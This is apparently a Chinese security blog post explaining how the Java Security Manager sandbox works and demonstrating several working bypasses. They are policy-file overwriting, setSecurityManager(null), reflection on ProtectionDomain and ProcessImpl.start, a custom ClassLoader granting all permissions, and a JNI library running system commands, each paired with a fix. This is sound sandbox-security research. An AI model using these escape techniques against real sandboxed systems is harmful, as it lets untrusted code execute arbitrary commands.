0x00 前言

文章原发安全客,重发博客如下

最近两年CTF比赛中出现了Python沙箱绕过,关于Python沙盒的文章比较多,其实Java也有沙箱。而恰好笔者在做安全测试的时候遇到了Java沙箱,于是研究了一下Java沙箱的绕过。虽然Java不像PHP和python那么灵活,但是Java沙箱能玩的地方还是挺多的。

文章脑图如下,配合食用效果更佳。有错误或者疏漏的地方请各位指出,欢迎联系c0d3p1ut0s@gmail.com

0x01 Java沙箱

Java沙箱由以下部分组成:

  • 类加载器结构(例如命名空间)
  • class文件校验器
  • 内置于Java虚拟机(和Java语言)的安全特性(例如对指针操作的屏蔽等)
  • Java安全管理器(Java Security Manager)和Java API组成

前三个基本都是内置实现在JVM和Java语言中的,只有Java安全管理器(Java Security Manager)是能被开发者控制的,用来保护系统不被JVM中恶意的代码破坏的。这样,绕过java沙箱其实就转化成绕过java security manager

Java Security Manager的一个典型应用场景是jvm需要加载运行一段代码,但是这段代码是不可信的,例如来自用户的输入、上传、反序列化指定的bytecode或者来自网络远程加载,这种情况下,需要防止不可信来源的恶意代码对系统造成破坏。其实这就是沙箱的应用场景。

0x02 Java Security Manager介绍

在java后面加一个参数即可打开Java Security Manager,

1
-Djava.security.manager

java提供了默认的Java Security Manager实现类,如果你想自定义自己的实现,可以在java.security.manager加等号指定。例如:

1
java -Djava.security.manager=net.sourceforge.prograde.sm.ProGradeJSM

这样就指定了net.sourceforge.prograde.sm.ProGradeJSM作为实现,在绝大多数情况下,我们都使用原生的实现,一些第三方实现也只是扩展了策略文件的功能而已,那么什么是策略文件呢?

策略(policy)文件是一个配置文件,指定了哪些类有哪些权限。指定策略文件的命令如下:

1
java -Djava.security.manager -Djava.security.policy=./security.policy -jar a.jar

一般我们需要指定哪些类有哪些权限,编辑policy文件就可以了。

上面说了,policy文件的作用是指定哪些类有哪些权限。policy怎么指定这些类的呢?指定类名吗?并不是,policy文件根据类的url和类的签名来确定类,指定权限,例如:

1
2
3
4
5
6
7
8
9
grant signedBy "Duke" {
permission java.io.FilePermission "/tmp/*", "read,write";
};

grant codeBase "file:/home/sysadmin/*" {
permission java.security.SecurityPermission "Security.insertProvider.*";
permission java.security.SecurityPermission "Security.removeProvider.*";
permission java.security.SecurityPermission "Security.setProperty.*";
};

policy文件的具体语法参看这里

根据java的设计,一个类的url和签名组成了这个类的CodeSource,根据policy文件的配置,一个CodeSource有一定的权限。一个类的CodeSource和它的权限构成了这个类的ProtectionDomain。如下图

protectiondomain.PNG

2ProtectionDomain.png

一个类的ProtectionDomain在这个类加载的时候初始化,在java.lang.ClassLoader中:

1
2
3
4
5
6
@Deprecated
protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}

这里调用了defineClass(null, b, off, len, null),最后一个参数null是ProtectionDomain的值,这个函数的实现如下:

1
2
3
4
5
6
7
8
9
10
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);//初始化这个类的ProtectionDomain
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}

一个类的ProtectionDomain我们已经搞清楚了,那么ProtectionDomain有什么用?Java Security Manager是怎么做安全监测的呢?

当调用一个需要权限的类时,例如读写文件、执行命令、开关socket等。这个类会调用SecurityManager.checkXXX(),如果SecurityManager判定有权限,这个方法会默默返回,否则抛出安全异常。以读文件FileInputStream为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public FileInputStream(File file) throws FileNotFoundException {
String name = (file != null ? file.getPath() : null);
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkRead(name);//权限检查
}
if (name == null) {
throw new NullPointerException();
}
if (file.isInvalid()) {
throw new FileNotFoundException("Invalid file path");
}
fd = new FileDescriptor();
fd.attach(this);
path = name;
open(name);
}

读文件是SecurityManager.checkRead方法,写文件是SecurityManager.checkWrite方法,这些checkXXX方法最后都会调用SecurityManager.checkPermission方法,调用链如下图所示。

1
2
3
4
5
6
7
8
9
10
SecurityManager.checkXXX()
|
V
·······
|
V
SecurityManager.checkPermission()
| 在默认的Security Manager实现中
V
AccessController.checkPermission()

如上图,在默认的Security Manager实现中,真正的检查权限这个操作是由AccessController.checkPermission()这个方法实现的。下面我们来看看权限是怎么检查的。

当AccessController.checkPermission()被调用时,AccessController会自顶向下遍历当前栈(入栈到栈顶),栈由栈帧组成,每一个栈帧都是一个方法调用形成的,每个方法都属于一个类,每个类都有一个ProtectionDomain,则一个栈帧对应一个ProtectionDomain。AccessController遍历栈帧,如果某个栈帧对应的ProtectionDomain没有check的权限,则抛出异常。

同时,为了解决某些问题,AccessController还提供了doPrivilege方法,当这个方法被调用时,AccessController亦会自顶向下遍历当前栈,不过只会遍历到调用doPrivileged方法的栈帧就会停止。例如Main.main调用Class1.fun1(),Class1.fun1()调用了doPrivileged方法,在doPrivileged方法中进行了一些操作,AccessController的检查只会遍历到Class1.fun1(),看Class1是否有权限。

很明显,doPrivileged是非常危险的,因为它截断了AccessController的检查。之前Java Security Manager出过的几次漏洞都跟jdk类库不当调用doPrivileged方法,而doPrivileged方法中执行的操作能被用户代码控制有关。因为默认情况下,jdk类库是有所有权限的,即使调用jdk的用户代码没有权限,AccessController也不会再向下检查了。

0x03 Java Security Manager的绕过

在某些情况下,赋予某些权限时,恶意代码可以利用这些权限,导致Java Security Manager完全失效。下面我们看看一些实例

单等号+home目录可写导致Java Security Manager绕过

jre/lib/security/java.security是java中指定安全配置文件,在配置文件中指定了两个默认的policy文件:

1
2
3
4
# The default is to have a single system-wide policy file,
# and a policy file in the user's home directory.
policy.url.1=file:${java.home}/lib/security/java.policy
policy.url.2=file:${user.home}/.java.policy

而通过-Djava.security.policy指定policy文件时,如果参数后面是一个等号,例如-Djava.security.policy=java.policy,java.policy会加在上面的两个policy文件之后。在默认情况下,家目录下没有.java.policy这个文件,如果家目录可写,则恶意代码可以通过写.java.policy文件,授予自己更多的权限来绕过Java Security Manager。如下图所示,policy文件没有赋予文件的执行权限,却执行calc成功,成功绕过java security manager机制,逃逸沙箱。

java.policy:

1
2
3
grant {
permission java.io.FilePermission "C:\\Users\\Administrator\\-", "read,write";
};

rewrite-home-policy.PNG

exp代码:https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/rewrite-home-policy

修复方法:-Djava.security.policy==java.policy,用双等于号指定policy文件。

通过setSecurityManager绕过Java Security Manager

java security manager不仅能通过参数-Djava.security.policy==java.policy指定,还可以在运行时通过System.setSecurityManager()方法指定。如果被授予setSecurityManager权限,恶意代码可以在运行时调用setSecurityManager方法,将java security manager置为null,绕过Java Security Manager。

java.policy如下

1
2
3
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};

绕过poc

1
System.setSecurityManager(null);

如下图所示,同样policy文件没有赋予文件的执行权限,却执行calc成功,成功绕过java security manager机制,逃逸沙箱。

java.policy:

1
2
3
grant {
permission java.lang.RuntimePermission "setSecurityManager";
};

set-security-manager.PNG

exp代码:https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/set-security-manager

修复方法:不授予不可信的代码setSecurityManager权限。

通过反射绕过Java Security Manager

如果读者跟了上面的System.setSecurityManager这个方法的话,可以看到这个方法最后直接把参数直接赋予了System类中的security变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static synchronized
void setSecurityManager0(final SecurityManager s) {
SecurityManager sm = getSecurityManager();
if (sm != null) {
// ask the currently installed security manager if we
// can replace it.
sm.checkPermission(new RuntimePermission
("setSecurityManager"));
}

if ((s != null) && (s.getClass().getClassLoader() != null)) {
// New security manager class is not on bootstrap classpath.
// Cause policy to get initialized before we install the new
// security manager, in order to prevent infinite loops when
// trying to initialize the policy (which usually involves
// accessing some security and/or system properties, which in turn
// calls the installed security manager's checkPermission method
// which will loop infinitely if there is a non-system class
// (in this case: the new security manager class) on the stack).
AccessController.doPrivileged(new PrivilegedAction<Object>() {
public Object run() {
s.getClass().getProtectionDomain().implies
(SecurityConstants.ALL_PERMISSION);
return null;
}
});
}

security = s;//赋值在这里~
}

如果被赋予了反射权限,那么是否能通过反射直接把security置为null,使java security manager失效呢?我们试验一下:

java.policy如下

1
2
3
4
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};

反射代码

1
2
3
4
5
6
7
8
9
10
11
public static void setSecurityByReflection(){
try {
Class clz = Class.forName("java.lang.System");
Field field=clz.getDeclaredField("security");
field.setAccessible(true);
field.set(System.class,null);

}catch (Exception e){
e.printStackTrace();
}
}

竟然报异常

1
2
3
4
java.lang.NoSuchFieldException: security
at java.lang.Class.getDeclaredField(Class.java:2070)
at evil.Poc.setSecurityByReflection(Poc.java:35)
at evil.Poc.main(Poc.java:16)

不科学啊,反复试了几次,发现java.lang.System中其他变量都可以反射,就security变量不行。(这个坑调试了一下午=_=||)

不死心,跟了一下getDeclaredField方法,发现在sun.reflect.Reflection中定义了一个fieldFilterMap,指定了几个禁止反射的变量。

1
2
3
4
5
6
7
8
static {
HashMap var0 = new HashMap();
var0.put(Reflection.class, new String[]{"fieldFilterMap", "methodFilterMap"});
var0.put(System.class, new String[]{"security"});
var0.put(Class.class, new String[]{"classLoader"});
fieldFilterMap = var0;
methodFilterMap = new HashMap();
}

其中就包括System.class中的security变量以及fieldFilterMap本身。在getDeclaredField中,调用了过滤fields的方法,过滤了这些变量。

1
2
3
public static Field[] filterFields(Class<?> var0, Field[] var1) {
return fieldFilterMap == null?var1:(Field[])((Field[])filter(var1, (String[])fieldFilterMap.get(var0)));
}

看来,通过反射直接修改security是不行的了。这游戏真难。

然而,java的反射何其强大,既然负责检查的检察官java security manager不可修改,那我就修改你检查的材料–ProtectionDomain。于是我看了一下ProtectionDomain类:
java.security.ProtectionDomain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class ProtectionDomain {
//.....省略部分代码
static {
// Set up JavaSecurityAccess in SharedSecrets
SharedSecrets.setJavaSecurityAccess(new JavaSecurityAccessImpl());
}

/* CodeSource */
private CodeSource codesource ;

/* ClassLoader the protection domain was consed from */
private ClassLoader classloader;

/* Principals running-as within this protection domain */
private Principal[] principals;

/* the rights this protection domain is granted */
private PermissionCollection permissions;

/* if the permissions object has AllPermission */
private boolean hasAllPerm = false;

/* the PermissionCollection is static (pre 1.4 constructor)
or dynamic (via a policy refresh) */
private boolean staticPermissions;

//.....省略部分代码

如前面所说,一个类的CodeSource和permissions构成了这个类的ProtectionDomain,亦可通过这里来验证。仔细看一遍,发现hasAllPerm可能是个软柿子,应该是一个标记这个类是否有所有权限的布尔变量。利用反射,把它置为true应当可以使当前类获取所有权限。

但是AccessController会沿着栈自顶向下检查,必须所有栈帧都有权限才能通过。不慌,那我们也遍历所有栈帧,将所有栈帧中的所有类的ProtectionDomain中的hasAllPerm置为true。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void setHasAllPerm(){

StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
//遍历栈帧
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
//反射当前栈帧中的类
Class clz = Class.forName(stackTraceElement.getClassName());
Field field = clz.getProtectionDomain().getClass().getDeclaredField("hasAllPerm");
//压制java的访问检查
field.setAccessible(true);
//把hasAllPerm置为true
field.set(clz.getProtectionDomain(), true);
}catch (Exception e){
e.printStackTrace();
}
}
exec("calc");
}

运行一下,又抛出了异常

1
2
3
4
5
6
7
java.security.AccessControlException: access denied ("java.lang.RuntimePermission" "getProtectionDomain")
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)
at java.security.AccessController.checkPermission(AccessController.java:884)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:549)
at java.lang.Class.getProtectionDomain(Class.java:2299)
at evil.Poc.setHasAllPerm(Poc.java:43)
at evil.Poc.main(Poc.java:19)

没有getProtectionDomain的权限。我们看看getProtectionDomain的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public java.security.ProtectionDomain getProtectionDomain() {
SecurityManager sm = System.getSecurityManager();
if (sm != null) {
//在这里检查权限
sm.checkPermission(SecurityConstants.GET_PD_PERMISSION);
}
//调用native方法获取ProtectionDomain
java.security.ProtectionDomain pd = getProtectionDomain0();
if (pd == null) {
if (allPermDomain == null) {
java.security.Permissions perms =
new java.security.Permissions();
perms.add(SecurityConstants.ALL_PERMISSION);
allPermDomain =
new java.security.ProtectionDomain(null, perms);
}
pd = allPermDomain;
}
return pd;
}

private native java.security.ProtectionDomain getProtectionDomain0();

getProtectionDomain方法中,先检查了权限,然后再调用私有的原生方法getProtectionDomain0来完成getProtectionDomain。那么我们完全可以通过反射直接运行getProtectionDomain0方法,从而绕过对getProtectionDomain方法的权限检查。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static void setHasAllPerm0(){
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
//遍历栈帧
for (StackTraceElement stackTraceElement : stackTraceElements) {
try {
Class clz=Class.forName(stackTraceElement.getClassName());
//利用反射调用getProtectionDomain0方法
Method getProtectionDomain=clz.getClass().getDeclaredMethod("getProtectionDomain0",null);
getProtectionDomain.setAccessible(true);
ProtectionDomain pd=(ProtectionDomain) getProtectionDomain.invoke(clz);

if(pd!=null){
Field field=pd.getClass().getDeclaredField("hasAllPerm");
field.setAccessible(true);
field.set(pd,true);
}
}catch (Exception e){
e.printStackTrace();
}
}
exec("calc");
}

运行,如下图所示,同样policy文件没有赋予文件的执行权限,却执行calc成功,成功绕过java security manager机制,逃逸沙箱。

java.policy:

1
2
3
4
grant {
permission java.lang.reflect.ReflectPermission "suppressAccessChecks";
permission java.lang.RuntimePermission "accessDeclaredMembers";
};

bypass-by-reflection.PNG

exp地址:https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/bypass-by-reflection

修复方法:不授予accessDeclaredMembers权限和suppressAccessChecks权限。

然而在java中,反射是一个非常常见的操作,如果由于业务需要,无法禁用反射,可以设置禁止反射的方法和变量的黑名单。还记得上面无法反射System类中security的原因吗?在sun.reflect.Reflection中定义了静态的methodFilterMap和fieldMethodMap,在这里面的方法和变量禁止反射。sun.reflect.Reflection还提供了几个方法,可以往methodFilterMap和fieldMethodMap中添加自定义的黑名单。代码如下:

1
2
3
4
5
6
public static synchronized void registerFieldsToFilter(Class<?> var0, String... var1) {
fieldFilterMap = registerFilter(fieldFilterMap, var0, var1);
}
public static synchronized void registerMethodsToFilter(Class<?> var0, String... var1) {
methodFilterMap = registerFilter(methodFilterMap, var0, var1);
}

这样,只需要在加载恶意代码之前,把禁止反射的黑名单加入这两个map即可。

使用这种方式时,需要注意,有些方法的实现是,在public方法里面调用security manager检查权限,然后调用一个protect或者private方法实现功能。这样,攻击者可以直接反射实现功能的方法,绕过security manager的检查。例如平时我们调用Runtime.getRuntime().exec(command),调用链如下:

1
2
3
4
5
6
7
public Process exec(String[] cmdarray, String[] envp, File dir)
throws IOException {
return new ProcessBuilder(cmdarray)
.environment(envp)
.directory(dir)
.start();
}

这里执行命令的功能是调用ProcessBuilder实现的。我们跟进去看一下start方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public Process start() throws IOException {
//省略部分代码

SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);
//在这里检查了是否有执行命令的权限

//省略部分代码
try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
}
//最后调用ProcessImpl.start实现这个功能。
//省略部分代码
}

从代码中我们看到,正如前面所说,完成功能的是ProcessImpl.start方法,而在这个方法调用之前,security manager就已经完成了检测,于是,反射这个方法,调用它,就可以绕过检测。代码如下

1
2
3
4
5
6
7
8
9
10
public static void executeCommandWithReflection(String command){
try {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
method.invoke(clz,new String[]{command},null,null,null,false);
}catch (Exception e){
e.printStackTrace();
}
}

创建类加载器绕过java security manager

如前面所说,一个类的ProtectionDomain在这个类被类加载器加载时初始化,如果我们能自定义一个类加载器,加载一个恶意类,并且把它的ProtectionDomain里面的权限初始化成所有权限,这个恶意类不就可以有所有权限了吗?即便如此,这个恶意类被调用时,它仅仅是栈中的一个栈帧,在它下面的栈帧对应的权限仍是policy文件指定的权限。

这个时候就是doPrivileged发挥作用的时候了,如上面所说,AccessController会自顶向下遍历栈帧,如果遍历到doPrivileged,它会检查到调用doPrivileged方法的栈帧为止。只要我们在恶意类中调用doPrivileged方法,AccessController只会向下遍历检查到恶意类所在的栈帧,而恶意类对应的权限是所有权限,这样就可以绕过Java Security Manager。

java.policy如下,这里需要读class文件,所以需要读文件权限

1
2
3
4
grant{
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};

恶意类:com.evil.EvilClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class EvilClass {
static{
//在doPrivileged中执行恶意操作
AccessController.doPrivileged(new PrivilegedAction() {
@Override
public Object run() {
try {
Process process = Runtime.getRuntime().exec("calc");

return null;
}catch (Exception e){
e.printStackTrace();
return null;
}
}
});

}
}

自定义类加载器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class MyClassLoader extends ClassLoader
{
//.....省略部分代码
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException
{
File file = getClassFile(name);
try
{
//获取byte数组的字节码
byte[] bytes = getClassBytes(file);
//这里没有调用父类的defineClass方法,而是调用了下面的defineClazz方法。
Class<?> c = defineClazz(name, bytes, 0, bytes.length);
return c;
}
catch (Exception e)
{
e.printStackTrace();
}

return super.findClass(name);
}

//在这个自定义的defineClazz方法中
protected final Class<?> defineClazz(String name, byte[] b, int off, int len)
throws ClassFormatError
{
try {
PermissionCollection pc=ClassLoader.class.getProtectionDomain().getPermissions();
//赋予ClassLoader类的权限,其实就是所有权限
ProtectionDomain pd=new ProtectionDomain(new CodeSource(null, (Certificate[]) null),
pc, this, null);

//调用父类的defineClass完成功能
return this.defineClass(name, b, off, len, pd);
}catch (Exception e){
return null;
}
}
//.....省略部分代码
}

在findClass方法中,我们并没有直接调用父类的defineClass方法,因为在父类的defineClass方法中:

java.lang.ClassLoader line639

1
2
3
4
5
6
7
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
//最后一个参数是传入的ProtectionDomain
//这个函数的实现抄录在下面
return defineClass(name, b, off, len, null);
}

跟一下defineClass

1
2
3
4
5
6
7
8
9
10
11
protected final Class<?> defineClass(String name, byte[] b, int off, int len,
ProtectionDomain protectionDomain)
throws ClassFormatError
{
//preDefineClass的实现在下面
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}

跟一下preDefineClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private ProtectionDomain preDefineClass(String name,
ProtectionDomain pd)
{
if (!checkName(name))
throw new NoClassDefFoundError("IllegalName: " + name);

// Note: Checking logic in java.lang.invoke.MemberName.checkForTypeAlias
// relies on the fact that spoofing is impossible if a class has a name
// of the form "java.*"
if ((name != null) && name.startsWith("java.")) {
throw new SecurityException
("Prohibited package name: " +
name.substring(0, name.lastIndexOf('.')));
}
if (pd == null) {
pd = defaultDomain;
}

if (name != null) checkCerts(name, pd.getCodeSource());

return pd;
}

传入的默认ProtectionDomain是null。我们调用了defineClazz方法,赋予了加载的类所有的权限,然后传入defineClass方法,完成类加载过程。如下图所示,同样policy文件没有赋予文件的执行权限,却执行calc成功,成功绕过java security manager机制,逃逸沙箱。

java.policy:

1
2
3
4
grant{
permission java.lang.RuntimePermission "createClassLoader";
permission java.io.FilePermission "<<ALL FILES>>", "read";
};

bypass-by-createclassloader.PNG

exp地址:https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/bypass-by-createclassloader

修复方法:禁止createClassLoader

本地方法调用绕过Java Security Manager

Java Security Manager是在java核心库中的一个功能,而java中native方法是由jvm执行的,不受java security manager管控。因此,我们可以调用java native方法,绕过java security manager。

java.policy

1
2
3
4
grant{
permission java.lang.RuntimePermission "loadLibrary.*";
permission java.io.FilePermission "/root/-", "read";
};

声明一个native方法:

1
2
3
4
5
6
7
8
9
10
package com.evil;

public class EvilMethodClass {
//加载动态链接库
static {
System.load("/root/libEvilMethodClass.so");
}
//声明一个native方法
public static native String evilMethod(String name);
}

生成.h头

1
2
3
javac src/com/evil/EvilMethodClass.java -d ./bin
javah -jni -classpath ./bin -d ./jni com.evil.EvilMethodClass
javah -jni -classpath ./bin -o EvilMethodClass.h com.evil.EvilMethodClass

新建EvilMethodClass.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

#include "com_evil_EvilMethodClass.h"
#include<stdlib.h>

#ifdef __cplusplus
extern "C"
{
#endif


JNIEXPORT jstring JNICALL Java_com_evil_EvilMethodClass_evilMethod(
JNIEnv *env, jclass cls, jstring j_str)
{
const char *c_str = NULL;
char buff[128] = { 0 };
c_str = (*env)->GetStringUTFChars(env, j_str, NULL);
if (c_str == NULL)
{
printf("out of memory.\n");
return NULL;
}
//在这里执行系统命令
system(c_str);
(*env)->ReleaseStringUTFChars(env, j_str, c_str);
return (*env)->NewStringUTF(env, buff);
}
#ifdef __cplusplus
}
#endif

编译,生成动态链接库

1
gcc -I$JAVA_HOME/include -I$JAVA_HOME/include/linux -fPIC -shared EvilMethodClass.c -o libEvilMethodClass.so

放到/root/目录下
Poc.java

1
2
3
4
5
public class Poc {
public static void main(String[] args){
EvilMethodClass.evilMethod("whoami");
}
}

我编译了Linux下的so,如下图所示,同样policy文件没有赋予文件的执行权限,却执行whoami成功,成功绕过java security manager机制,逃逸沙箱。

invoke-native-method.PNG

exp如下:https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/invoke-native-method

修复方案:不授予loadLibrary权限

0x04 第三方java security manager的安全性

从上面的绕过方法来看,在给不可信的代码授予权限时需要非常谨慎,有些权限一旦授予,就可能导致整个java security manager体系的绕过。

默认java security manager的policy是白名单模式的,也就是说,只有在policy文件出现的权限才是被授予的。而有些第三方的java security manager支持黑名单模式,这样更加危险。例如pro-grade,它支持黑名单模式,实现了deny语法。这意味着如果没有把上面提到的这些危险的权限禁止的话,绕过java security manager将会是非常容易的。

0x05 Reference

这篇文章中使用的绕过的代码都已上传到github